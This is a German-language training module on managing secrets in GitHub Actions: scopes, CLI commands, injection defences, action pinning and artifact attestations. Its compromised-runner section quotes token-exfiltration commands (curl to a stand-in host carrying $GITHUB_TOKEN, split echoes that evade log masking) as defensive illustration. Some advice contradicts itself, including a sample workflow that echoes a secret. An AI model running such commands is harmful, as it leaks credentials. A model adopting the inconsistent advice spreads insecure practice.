Verwalten verschlüsselter Geheimnisse

Abgeschlossen

Geheime Schlüssel sind verschlüsselte Umgebungsvariablen, in denen Tokens, Anmeldedaten und andere vertrauliche Informationen gespeichert werden. Deine GitHub Actions-Workflows und -Aktionen können diese geheimen Schlüssel bei Bedarf verwenden. Nachdem sie erstellt wurden, können geheime Schlüssel von Workflows und Aktionen verwendet werden, die über die Berechtigung zum Zugriff auf die Organisation, das Repository oder die Umgebung verfügen, in denen die geheimen Schlüssel definiert sind.

In diesem Abschnitt wird erläutert, wie Sie verschlüsselte geheime Schlüssel mit Tools und Strategien in GitHub Enterprise Cloud und GitHub Enterprise Server verwalten. Außerdem erfahren Sie, wie Sie diese geheimen Schlüssel in Ihren Workflows und Aktionen verwenden.

Verwalten verschlüsselter geheimer Schlüssel im Unternehmen

Mit GitHub Actions können Sie vertrauliche Daten wie API-Schlüssel, Authentifizierungstoken, Kennwörter und Zertifikate über verschlüsselte geheime Schlüssel sicher speichern und verwenden. Diese geheimen Schlüssel werden sicher gespeichert und in Workflows eingefügt. Dieses Design stellt sicher, dass sie nicht in Protokollen oder Quellcode angezeigt werden.

In einer Unternehmensumgebung ist eine effektive geheime Verwaltung von entscheidender Bedeutung. Sie trägt dazu bei, die Sicherheit aufrechtzuerhalten, Complianceanforderungen zu erfüllen und die betriebliche Effizienz zu unterstützen. GitHub ermöglicht es Ihnen, geheime Schlüssel auf vier Ebenen zu verwalten: Unternehmen, Organisation, Repository und Umgebung.

Umfang verschlüsselter geheimer Schlüssel

Das Verständnis des Umfangs geheimer Schlüssel ist für die sichere Verwaltung in einer Unternehmensumgebung unerlässlich.

Geheime Ebene	Bereich	Wer hat Zugriff	Gängige Anwendungsfälle
Enterprise-Level Geheimnisse	Wenden Sie sie auf alle Repositorys in einer GitHub Enterprise Cloud-Organisation an.	Unternehmensbesitzer, Sicherheitsadministratoren	Teilen Sie Anmeldeinformationen für mehrere Repositorys.
Organization-Level Geheimnisse	Wenden Sie sie auf alle Repositorys in einer Organisation an oder beschränken Sie sie optional auf ausgewählte Repositorys.	Organisationsbesitzer, Sicherheitsadministratoren	Greifen Sie auf Clouddienste und freigegebene Datenbanken zu.
Repository-Level Geheimnisse	Wenden Sie sie nur auf ein einzelnes Repository an.	Für die Repositoryadministration zuständige Personen, Workflowrunner	Sichere Anmeldeinformationen für die Bereitstellung in einem Repository
Environment-Level Geheimnisse	Wenden Sie sie auf bestimmte Bereitstellungsumgebungen innerhalb eines Repositorys an, z. B. Staging oder Produktion.	Workflowrunner in der angegebenen Umgebung	Trennen Sie Anmeldeinformationen nach Bereitstellungsumgebung.

Wesentliche Überlegungen:

• Geheime Schlüssel für Unternehmen gelten ausschließlich für GitHub Enterprise Cloud und unterstützen die zentrale Verwaltung in einer Organisation.
• Geheime Schlüssel für Organisationen bieten eine differenzierte Zugriffssteuerung und können auf bestimmte Repositorys beschränkt werden.
• Geheime Schlüssel für eine Umgebung verhindern unbeabsichtigte Gefährdung, indem der Zugriff auf Workflowumgebungen eingeschränkt wird.

Verwalten verschlüsselter Geheimnisse auf Organisationsebene

Durch das Erstellen verschlüsselter geheimer Schlüssel auf Organisationsebene können vertrauliche Informationen geschützt werden, während der Aufwand für die Verwaltung geheimer Schlüssel in mehreren Repositorys reduziert wird.

Beispielsweise benötigen einige Entwickelnde, die Workflows in Ihrer GitHub-Organisation schreiben, die Anmeldeinformationen zum Bereitstellen von Code für die Produktion in einigen ihrer Workflows. Um die Weitergabe dieser vertraulichen Informationen zu vermeiden, können Sie auf Organisationsebene ein verschlüsseltes Geheimdokument erstellen, das die Anmeldeinformationen enthält. Auf diese Weise können die Anmeldeinformationen in den Workflows verwendet werden, ohne sie offenzulegen.

Um ein Geheimnis auf Organisationsebene zu erstellen, navigieren Sie zu den Einstellungen Ihrer Organisation, und wählen Sie dann in der Seitenleiste Geheimnisse und Variablen > Aktionen > Neues Organisationsgeheimnis aus. Geben Sie auf dem angezeigten Bildschirm einen Namen und einen Wert ein, und wählen Sie eine Repositoryzugriffsrichtlinie für Ihr Geheimnis aus:

Nach dem Speichern wird die Zugriffsrichtlinie unter dem geheimen Schlüssel in der Liste angezeigt:

Sie können Aktualisieren auswählen, um weitere Details zu den konfigurierten Berechtigungen für Ihr Geheimnis zu erhalten.

Verwalten von Organization-Level verschlüsselten geheimen Schlüsseln über GitHub CLI

• Erstellen eines geheimen Schlüssels für eine Organisation:

  gh secret set SECRET_NAME --org my-org --body "super-secret-value"
  

• Alle geheimen Organisationsschlüssel auflisten:

  gh secret list --org my-org
  

• Aktualisieren eines vorhandenen geheimen Schlüssels:

  gh secret set SECRET_NAME --org my-org --body "new-secret-value"
  

• Löschen eines geheimen Schlüssels:

  gh secret delete SECRET_NAME --org my-org
  

Sicherheitsüberlegungen für geheime Schlüssel für eine Organisation

• Beschränken Sie geheime Schlüssel auf bestimmte Repositorys, anstatt standardmäßig Zugriff auf alle Repositorys zu gewähren.
• Implementieren Sie rollenbasierte Zugriffssteuerung (RBAC), um sicherzustellen, dass nur autorisierte Teammitglieder geheime Schlüssel erstellen, aktualisieren oder löschen können.
• Überwachen Sie die Zugriffsprotokolle regelmäßig, um nicht autorisierte Verwendungen oder verdächtige Aktivitäten zu identifizieren und darauf zu reagieren.

Verwalten verschlüsselter geheimer Schlüssel auf Repositoryebene

Verwenden Sie GitHub Enterprise Cloud oder GitHub Enterprise Server, um einen geheimen Bereich für ein bestimmtes Repository festzulegen.

Erstellen eines Geheimnisses auf Repositoryebene

1. Navigieren Sie zu den Repository-Einstellungen.
2. Wählen Sie Geheime Schlüssel und Variablen > Aktionen und dann Neuer geheimer Repositoryschlüssel aus.
3. Geben Sie einen Namen und einen Wert für den geheimen Schlüssel ein.

Verwalten von auf Repository-Ebene verschlüsselten geheimen Schlüsseln über die CLI

• Geheime Repositoryschlüssel auflisten:

  gh secret list --repo my-repo
  

• Aktualisieren eines Repositoryschlüssels:

  gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"
  

• Löschen eines Repositoryschlüssels:

  gh secret delete SECRET_NAME --repo my-repo
  

Zugreifen auf verschlüsselte Geheimnisse in Aktionen und Workflows

In Workflows

Greifen Sie mithilfe des secrets-Kontexts auf geheime Schlüssel zu. Verwenden Sie with zum Übergeben des geheimen Schlüssels als Eingabe oder env zum Festlegen des Schlüssels als Umgebungsvariable.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

• Verwenden Sie with:Übergeben des geheimen Schlüssels als Eingabeparameter für die Aktion. Diese Methode wird häufig verwendet, wenn die Aktion Eingaben explizit in ihrer action.yml definiert.

• Verwenden Sie env:Verfügbar machen des geheimen Schlüssels als Umgebungsvariable für den Schritt. Dieser Ansatz ist nützlich, wenn der Befehl im Schritt oder ein Skript innerhalb der Aktion eine Umgebungsvariable erwartet.

In Aktionen

Um geheime Schlüssel in einer benutzerdefinierten Aktion zu verwenden, definieren Sie sie als Eingaben in der Metadatendatei action.yml, und greifen Sie als Umgebungsvariablen im Aktionscode darauf zu.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

• Definieren Sie in action.yml:Angabe des geheimen Schlüssels als erforderliche oder optionale Eingabe.

• Zugriff im Code:Lesen Sie den geheimen Schlüssel mithilfe des Actions Toolkit (empfohlen) oder durch einen Verweis auf Umgebungsvariablen, falls diese festgelegt sind, aus.

Warnung

Vermeiden Sie geheime Schlüssel im Quellcode der Aktion. Verwenden Sie das Actions Toolkit zum sicheren Verwalten von Eingaben und geheimen Schlüsseln zum Behandeln von Werten in Ihrer Codelogik.

Sicherheitsoptimierung für GitHub Actions konfigurieren

Die Sicherheitsoptimierung für GitHub Actions trägt dazu bei, die Sicherheit Ihrer Software-Lieferkette zu gewährleisten. In den folgenden Abschnitten werden empfohlene Vorgehensweisen zur Erhöhung der Sicherheit der in Ihren Workflows verwendeten Aktionen beschrieben.

Identifizieren bewährter Methoden zur Abwehr von Skript-Injektionsangriffen

Zu den bewährten Methoden zur Abwehr von Skript-Injektionsangriffen auf GitHub-Aktionen gehören:

1. Verwenden Sie Javascript-Aktionen anstelle von Inlineskripts: Verwenden Sie Javascript-Aktionen, die Kontextwerte als Argumente akzeptieren, anstatt diese Werte in Inlineskripts einzubetten. Dieser Ansatz reduziert das Risiko der Skript-Injektion, da die Kontextdaten nicht verwendet werden, um Shellbefehle direkt zu generieren oder auszuführen.

   Die Übergabe einer Variablen als Eingabe an eine JavaScript-Aktion verhindert, dass diese in einem Skript-Injektionsangriff verwendet wird.

    uses: fakeaction/checktitle@v3
    with:
      title: ${{ github.event.pull_request.title }} 
   

2. Verwenden Sie Zwischenumgebungsvariablen in Inline-Skripts: Bei der Verwendung von Inlineskripts müssen Variablen vor ihrer Verwendung in Befehlen als Umgebungsvariablen ausgewertet werden. Dieser Ansatz stellt sicher, dass die Werte vor der Ausführung des Skripts aufgelöst werden, wodurch das Risiko einer Skript-Injektion verringert wird. Die Verwendung von github.event.pull_request.title als Umgebungsvariable trägt beispielsweise zum Schutz vor Injektionrisiken bei:

   - name: Check PR title
       env:
         TITLE: ${{ github.event.pull_request.title }}
       run: |
         if [[ "$TITLE" =~ ^octocat ]]; then
         echo "PR title starts with 'octocat'"
         exit 0
         else
         echo "PR title did not start with 'octocat'"
         exit 1
         fi
   

   

   

3. Nutzen Sie Workflow-Vorlagen zur Implementierung der Codeüberprüfung: Navigieren Sie zur Registerkarte Aktionen des Repositorys, und wählen Sie im linken Bereich die Schaltfläche Neuer Workflow aus. Suchen Sie auf der Seite Workflow auswählen den Abschnitt Sicherheit. Dort können Sie auf Workflowvorlagen zugreifen und sie anwenden.

   Konfigurieren Sie den CodeQL-Scanner so, dass er bei bestimmten Ereignissen ausgeführt wird. So kann er die Dateien eines Branches scannen und CWEs (Common Weakness Enumerations, allgemeine Enumerationen von Sicherheitsrisiken) in Aktionen kennzeichnen, die in Workflows verwendet werden, einschließlich Sicherheitsrisiken wie Skripteinschleusung.

   

   

4. Beschränken Sie die Berechtigungen für Token: Stellen Sie sicher, dass Sie auf ein erstelltes Token immer die rule of least privilege anwenden. Mit anderen Worten: Stellen Sie sicher, dass dem Token die erforderlichen minimale Privilegien zugewiesen sind, um die Aufgabe zu erfüllen, für die er erstellt wurde.

Bewährte Methoden für die sichere Verwendung von Drittanbieteraktionen

Befolgen Sie diese bewährten Methoden, um Aktionen von Drittanbietern sicher in Ihre Workflows zu integrieren:

1. Heften Sie Aktionen nur an ein Tag an, wenn die erstellende Person vertrauenswürdig ist. Verwenden Sie Versionstags wie v1 oder v2 nur, wenn die erstellende Person verifiziert und vertrauenswürdig ist. Diese Aktion verringert das Risiko unerwarteter Änderungen in zukünftigen Versionen.

   - name: Checkout
     uses: actions/checkout@v4  # Pinned to a specific version tag
   

2. Bevorzugen Sie das Anheften von Aktionen an einen vollständigen Commit-SHA. Durch das Anheften an einen vollständigen Commit-SHA stellen Sie sicher, dass Sie eine unveränderliche Version der Aktion verwenden. Überprüfen Sie immer, ob der Commit-SHA aus dem erwarteten Repository stammt.

   - name: Checkout
     uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
   

3. Überprüfen Sie den Quellcode der Aktion. Überprüfen Sie den Quellcode der Aktion, um sicherzustellen, dass Daten sicher verarbeitet werden und keine unerwarteten oder schädlichen Verhaltensweisen auftreten.

Indikatoren für eine vertrauenswürdige Drittanbieteraktion

Verwenden Sie vertrauenswürdige Aktionen, um das Risiko in Ihren Workflows zu verringern.

• Suchen Sie nach dem Verified-Badge: Vertrauenswürdige Aktionen werden im GitHub Marketplace angezeigt und sind neben dem Titel mit einem Verified Creator-Badge versehen, der Sie darüber informiert, dass der Ersteller von GitHub überprüft wurde.

• Überprüfen Sie die Dokumentation: Die action.yml-Datei muss gut dokumentiert sein und deutlich beschreiben, wie die Aktion funktioniert.

Verwenden von Versionsupdates von Dependabot, um Aktionen auf dem neuesten Stand zu halten

Aktivieren Sie Dependabot-Versionsaktualisierungen, um Ihre GitHub Actions-Abhängigkeiten automatisch auf dem neuesten Stand und sicher zu halten.

Mögliche Auswirkungen eines kompromittierten Runners

Dieser Abschnitt beschreibt mögliche Angriffsvektoren, die ausgenutzt werden könnten, wenn ein Runner kompromittiert ist.

Exfiltration von Daten aus einem Runner

GitHub Actions entfernt zwar automatisch geheime Schlüssel aus Protokollen, diese Funktion stellt jedoch keine vollständige Sicherheitsbarriere dar. Wenn ein Runner kompromittiert ist, können Angreifende geheime Schlüssel absichtlich offenlegen, indem sie diese in das Protokoll schreiben. Beispiel:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

Ein kompromittierter Runner kann auch verwendet werden, um geheime Schlüssel oder andere vertrauliche Repositorydaten mithilfe von skriptbasierten HTTP-Anforderungen an einen externen Server weiterzuleiten.

Zugriff auf geheime Schlüssel

Workflows, die über geforkte Repositorys mithilfe des Ereignisses pull_request ausgelöst werden, verfügen über Leseberechtigungen und können nicht auf Geheimnisse zugreifen. Die Berechtigungen variieren jedoch je nach Ereignistyp, z. B. issue_comment, issues, push oder pull_request von einem Branch innerhalb desselben Repositorys. Wenn ein Runner kompromittiert wird, besteht das Risiko, dass Repositorygeheimnisse offengelegt werden oder dass das Token (GITHUB_TOKEN) eines Auftrags mit Schreibberechtigungen missbraucht werden könnte.

• Wenn einem geheimen Schlüssel oder Token eine Umgebungsvariable zugewiesen ist, kann direkt über printenv darauf zugegriffen werden.
• Wenn ein geheimer Schlüssel direkt in einem Ausdruck referenziert wird, wird das generierte Shell-Skript, das den aufgelösten Wert enthält, auf der Festplatte gespeichert und ist möglicherweise zugänglich.
• Bei benutzerdefinierten Aktionen hängt das Risiko davon ab, wie der geheime Schlüssel innerhalb der Logik der Aktion verarbeitet wird. Beispiel:

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

GitHub Actions entfernt zwar Geheimnisse aus dem Speicher, wenn auf sie im Workflow oder in enthaltenen Aktionen nicht verwiesen wird, GITHUB_TOKEN und alle aktiv verwendeten Geheimnisse bleiben jedoch dem Risikol ausgesetzt, abgefangen zu werden, wenn der Runner kompromittiert wird.

Entwenden von GITHUB_TOKEN eines Auftrags

Personen, die einen Angriff ausführen, sind möglicherweise in der Lage, das GitHub-Token (GITHUB_TOKEN) eines Auftrags zu entwenden. GitHub Actions stellt dieses Token automatisch mit Berechtigungen bereit, deren Geltungsbereich auf das Repository beschränkt ist, in dem der Workflow ausgeführt wird. Das Token läuft nach Abschluss des Auftrags ab und kann anschließend nicht mehr verwendet werden.

Ein kompromittierter Runner kann jedoch verwendet werden, um das Token während der Ausführung des Auftrags sofort zu exfiltrieren. Eine angreifende Person kann eine Anforderung an einen von ihr kontrollierten Server automatisieren, um das Token vor Ablauf seiner Gültigkeit zu erfassen. Beispiel:

curl http://example.com?token=$GITHUB_TOKEN

Änderung der Repositoryinhalte

Wenn ein GITHUB_TOKEN gestohlen wird, kann ein von einer angreifenden Person kontrolliertes System damit die GitHub-API aufrufen und den Inhalt des Repositorys ändern.

Die Anwendung des Prinzips der geringsten Rechte auf die Berechtigungen des Tokens trägt dazu bei, dieses Risiko zu verringern. Beschränken Sie den Zugriff des Tokens auf das für den Auftrag erforderliche Maß.

Verwaltung des Zugriffs auf mehrere Repositorys

Wenn Workflows Zugriff auf mehrere Repositorys erfordern, ist es wichtig, Anmeldeinformationen zu wählen, die Sicherheitsrisiken minimieren. Einige der empfohlenen Optionen, aufgelistet von der beliebtesten bis zur am wenigsten bevorzugten, sind:

1. GITHUB_TOKEN

   GitHub generiert automatisch die GITHUB_TOKEN für jede Workflowausführung. Der Bereich ist auf das einzelne Repository beschränkt, das den Workflow auslöst, und gewährt Zugriffsrechte, die denen einer Person mit Schreibzugriff auf dieses Repository entsprechen. Das Token wird zu Beginn jedes Auftrags erstellt und läuft nach Abschluss des Auftrags ab.

   Verwenden Sie nach Möglichkeit für eine sichere und bereichsbezogene Authentifizierung das GITHUB_TOKEN. Ausführliche Informationen finden Sie unter Automatische Tokenauthentifizierung.

2. Bereitstellungsschlüssel für Repositorys

   Um innerhalb von Workflows mit Git zu klonen oder zu pushen, verwenden Sie Bereitstellungsschlüssel, die Lese- oder Schreibzugriff auf ein einzelnes Repository gewähren.

Bereitstellungsschlüssel unterstützen jedoch nicht den Zugriff auf die REST- oder GraphQL-APIs von GitHub. Verwenden Sie sie nur, wenn kein API-Zugriff erforderlich ist und Git-Zugriff ausreicht.

3. GitHub-App-Token

   GitHub-Apps bieten detaillierte Berechtigungen und können auf ausgewählten Repositorys installiert werden. Sie können eine interne GitHub-App erstellen, diese in den erforderlichen Repositorys installieren und sich innerhalb Ihres Workflows als App-Installation authentifizieren, um auf diese Repositorys zuzugreifen.

Dieser Ansatz bietet im Vergleich zu persönlichen Token eine bessere Zugriffskontrolle und Überwachung.

4. Persönliche Zugriffstoken (PATs)

   Vermeiden Sie die Verwendung klassischer persönlicher Zugriffstoken in Workflows. Diese Token gewähren umfassenden Zugriff auf alle persönlichen und organisatorischen Repositorys, die mit der benutzenden Person verbunden sind, was ein erhebliches Risiko darstellt. Wenn der Workflow in einem Repository mit mehreren Mitwirkenden ausgeführt wird, erben alle Benutzenden mit Schreibzugriff effektiv die Berechtigungen dieses Tokens.

Wenn Sie ein persönliches Token verwenden müssen, erstellen Sie ein feinkörniges PAT, das an ein dediziertes Organisationskonto gebunden ist. Beschränken Sie den Zugriff auf die spezifischen Repositorys, die für den Workflow erforderlich sind.

Hinweis

Dieser Ansatz ist schwer skalierbar und muss zugunsten von Bereitstellungsschlüsseln oder GitHub-Apps vermieden werden.

5. SSH-Schlüssel für persönliche Konten

   Verwenden Sie niemals SSH-Schlüssel aus persönlichen Konten in Workflows. Wie klassische PATs gewähren sie Zugriff auf alle mit dem Konto verbundenen Repositorys, einschließlich persönlicher und organisatorischer Repositorys. Dieser Fehler setzt Workflows unnötigen Risiken aus.

Wenn Ihr Anwendungsfall das Klonen oder Pushen über Git beinhaltet, sollten Sie stattdessen die Verwendung von Bereitstellungsschlüsseln in Betracht ziehen. Sie bieten eingeschränkten Zugriff, ohne dass nicht relevante Repositorys offengelegt werden oder persönliche Anmeldedaten erforderlich sind.

Überwachen von GitHub Action-Ereignissen

Die Art der Aktion, wann sie ausgeführt wurde und welches persönliche Konto die Aktion durchgeführt hat, werden im „Sicherheitsprotokoll“ und im „Überwachungsprotokoll“ aufgezeichnet. Das „Sicherheitsprotokoll“ zeichnet Ereignisse im Zusammenhang mit Ihrem Benutzerkonto auf. Das „Überwachungsprotokoll“ zeichnet Ereignisse im Zusammenhang mit Ihrer Organisation auf. Wenn Sie also beide Protokolle anzeigen, können Sie Ereignisse im Zusammenhang mit GitHub-Aktionen überprüfen.

Verwenden von OIDC mit GitHub Actions

Sie können Workflows so konfigurieren, dass die Authentifizierung direkt über einen Cloud-Anbieter mit OIDC (OpenID Connect) erfolgt. In diesem Fall müssen Anmeldedaten nicht mehr als geheime Schlüssel gespeichert werden.

Artefaktnachweise für GitHub Actions

Artefaktnachweise helfen dabei, die Herkunft von Builds zu ermitteln und verbessern so die Sicherheit der Software-Lieferkette, indem sie überprüfen, was wo und wie erstellt wurde.

Was nachgewiesen werden muss

Mit GitHub Actions können Sie die Herkunft und SBOM (Software-Stückliste) für Binärdateien und Container-Images nachweisen.

Generieren von Artefaktnachweisen für Builds

Wenn Sie einen Artefaktnachweis für Builds generieren, müssen Sie Folgendes sicherstellen:

• Sie haben die entsprechenden Berechtigungen im Workflow konfiguriert.
• Sie haben einen Schritt in Ihren Workflow aufgenommen, der die Aktion attest-build-provenance verwendet.

Der Nachweis belegt die Herkunft des Builds. Sie können Nachweise auf der Registerkarte Aktionen des Repositorys anzeigen.

Generieren eines Nachweises für die Build-Provenienz von Binärdateien

1. Sie müssen dem Workflow, der die Binärdatei erstellt, für die Sie den Nachweis erbringen möchten, die folgenden Berechtigungen hinzufügen:

      permissions:
       id-token: write
       contents: read
       attestations: write
   

2. Sie müssen nach dem Schritt, in dem die Binärdatei erstellt wird, den folgenden Schritt hinzufügen:

     - name: Generate artifact attestation
       uses: actions/attest-build-provenance@v2
       with:
        subject-path: 'PATH/TO/ARTIFACT'
   

Hinweis

Beachten Sie, dass der Wert des Parameters subject-path auf den Pfad der Binärdatei festgelegt ist, für die Sie den Nachweis erstellen.

Generieren eines Nachweises für die Buildherkunft von Containerimages

1. Fügen Sie dem Workflow, der das Container-Image erstellt, die folgenden Berechtigungen hinzu:

   permissions:
     id-token: write
     contents: read
     attestations: write
     packages: write
   

2. Fügen Sie diesen Schritt nach dem Erstellen des Containerimages hinzu:

   - name: Generate artifact attestation
     uses: actions/attest-build-provenance@v2
     with:
       subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
       subject-digest: 'sha256:fedcba0...'
       push-to-registry: true
   

   Hinweis

   • Der Wert von subject-name muss ein vollqualifizierter Imagename sein, z. B. ghcr.io/user/app oder acme.azurecr.io/user/app. Fügen Sie kein Tag ein.
   • subject-digest muss ein SHA256-Digest des Image im Format sha256:HEX_DIGEST sein.
   • Wenn Ihr Workflow docker/build-push-action verwendet, können Sie den Digest aus seiner Ausgabe abrufen. Ausführliche Informationen finden Sie in der Workflowsyntax für GitHub Actions.

Generieren von Nachweisen für SBOMs

Sie haben die Möglichkeit, SBOM-Nachweise für eine SBOM auszustellen. Um eine SBOM zu generieren und zu bestätigen, müssen Sie die folgenden Schritte ausführen:

• Stellen Sie sicher, dass Sie die Berechtigungen im Workflow entsprechenden den in den Beispielen gezeigten festlegen.
• Sie müssen in einem Schritt im Workflow eine SBOM für das Artefakt generieren. Ein Beispiel finden Sie unter anchore-sbom-action im GitHub Marketplace.
• Fügen Sie Ihrem Workflow einen Schritt hinzu, der die Aktion „attest-sbom“ verwendet (siehe Beispiele unten).

Generierung eines SBOM-Nachweises für Binärdateien

1. Fügen Sie dem Workflow, der die Binärdatei erstellt, für die Sie einen SBOM-Nachweis generieren möchten, die folgenden Berechtigungen hinzu:

       permissions:
        id-token: write
        contents: read
        attestations: write
   

2. Fügen Sie nach den Schritten, in denen die Binärdatei erstellt und die SBOM generiert wurde, den folgenden Schritt hinzu:

       - name: Generate SBOM attestation
       uses: actions/attest-sbom@v1
       with:
         subject-path: 'PATH/TO/ARTIFACT'
         sbom-path: 'PATH/TO/SBOM'
   

Beachten Sie, dass der Wert des Parameters subject-path auf den Pfad der Binärdatei festgelegt werden muss, die die SBOM beschreibt. Der Wert des Parameters sbom-path muss auf den Pfad der von Ihnen generierten SBOM-Datei festgelegt werden.

Generieren eines SBOM-Nachweises für Containerimages

1. Sie müssen dem Workflow die folgenden Berechtigungen hinzufügen, der die Binärdatei erstellt, für die Sie einen SBOM-Nachweis generieren:

      permissions:
       id-token: write
       contents: read
       attestations: write
       packages: write
   

2. Sie müssen nach den Schritten, in denen die Binärdatei erstellt und die SBOM generiert wurde, den folgenden Schritt hinzufügen:

       - name: Generate SBOM attestation
       uses: actions/attest-sbom@v1
       with:
         subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
         subject-digest: 'sha256:fedcba0...'
         sbom-path: 'sbom.json'
         push-to-registry: true
   

Beachten Sie, dass der Wert des Parameters subject-name den vollqualifizierten Imagenamen angibt. Zum Beispiel: ghcr.io/user/app oder acme.azurecr.io/user/app. Der Imagenamen darf keine Tags enthalten.

Der Wert des subject-digest-Parameters sollte auf den SHA256-Digest des Antragstellers für den Nachweis im sha256:HEX_DIGEST-Element des Formulars festgelegt werden. Wenn Ihr Workflow docker/build-push-action verwendet, können Sie die Digest-Ausgabe aus diesem Schritt verwenden, um den Wert bereitzustellen (siehe build-push-action). Weitere Informationen zur Verwendung von Ausgaben finden Sie unter Workflowsyntax für GitHub Actions.

Der Wert des Parameters sbom-path muss auf den Pfad der JSON-formatierten SBOM-Datei gesetzt werden, die Sie bestätigen möchten.

Überprüfen von Artefaktnachweisen mit der GitHub CLI

Sie können die oben beschriebenen Artefaktnachweise mit der GitHub CLI validieren. Weitere Informationen finden Sie im Abschnitt „Nachweis“ des GitHub CLI-Handbuchs.

Warnung

Es ist wichtig zu beachten, dass Artefaktnachweise keine Garantie dafür sind, dass ein Artefakt sicher ist. Stattdessen verweisen Artefaktnachweise auf den Quellcode und die Build-Anweisungen, mit denen sie erstellt wurden. Sie sind dafür verantwortlich, Ihre Richtlinienkriterien festzulegen, diese Richtlinien anhand der Inhalte zu bewerten und beim Einsatz von Software fundierte Risikobewertungen zu erstellen.

Zugreifen auf verschlüsselte Geheimnisse in Aktionen und Workflows

Beispiel: Verwenden eines geheimen Schlüssels in einem Workflow

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

Bewährte Methoden für die Verwendung geheimer Schlüssel in Workflows

• Drucken Sie keine Geheimnisse in Protokollen mithilfe von echo ${{ secrets.SECRET_NAME }}.
• Verwenden Sie geheime Schlüssel in Skriptbefehlen, anstatt sie Umgebungsvariablen zuzuweisen.
• Beschränken Sie den Zugriff , indem Sie geheime Schlüssel auf der niedrigsten erforderlichen Ebene definieren.
• Aktualisieren Sie regelmäßig Geheimnisse und passen Sie Workflows entsprechend an.

Nutzen von Tresoren von Drittanbietern

Viele Unternehmen integrieren GitHub-Aktionen in externe Geheimverwaltungslösungen wie HashiCorp Vault, AWS Secrets Manager und Azure Key Vault.

1. HashiCorp Vault

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS (Amazon Web Services) Secrets Manager

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

Vorteile der Verwendung von Tresoren von Drittanbietern

• Die zentrale geheime Verwaltung reduziert Sicherheitsrisiken.
• Die automatische Drehung des geheimen Schlüssels trägt zur Einhaltung von Sicherheitsrichtlinien bei.
• Überwachungsprotokolle und Zugriffssteuerung verbessern die Sicherheitsüberwachung.
• Der geringste Berechtigungszugriff verhindert die unbefugte Verwendung geheimer Schlüssel.